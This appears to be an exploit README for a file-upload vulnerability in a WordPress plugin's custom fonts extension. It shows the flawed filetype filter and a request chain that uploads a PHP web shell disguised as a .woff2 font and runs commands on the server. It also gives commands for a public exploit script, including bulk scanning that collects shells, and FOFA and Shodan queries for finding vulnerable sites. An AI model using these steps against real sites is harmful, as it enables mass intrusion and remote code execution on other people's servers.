CVE-2026-58480

// framework/premium/extensions/custom-fonts/extension.php#L137 (reconstructed)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
    if (strpos($filename, '.woff2') !== false || 
        strpos($filename, '.ttf') !== false) {
        $data['ext'] = 'woff2';
        $data['type'] = 'font/woff2';
    }
    return $data;
}, 10, 5);

POST /wp-admin/admin-ajax.php
  action=blc_save_review_attachments
  blc-review-images[] = shell.woff2.php (multipart, PHP payload)
→ wp_check_filetype_and_ext filter: ".woff2" found → approved
→ File saved to wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE as www-data

git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests

# Fingerprint target
python exploit.py -u https://target.com --check

# Full exploit
python exploit.py -u https://target.com

# Bulk scan
python exploit.py -f targets.txt -o shells.txt

FOFA:   body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"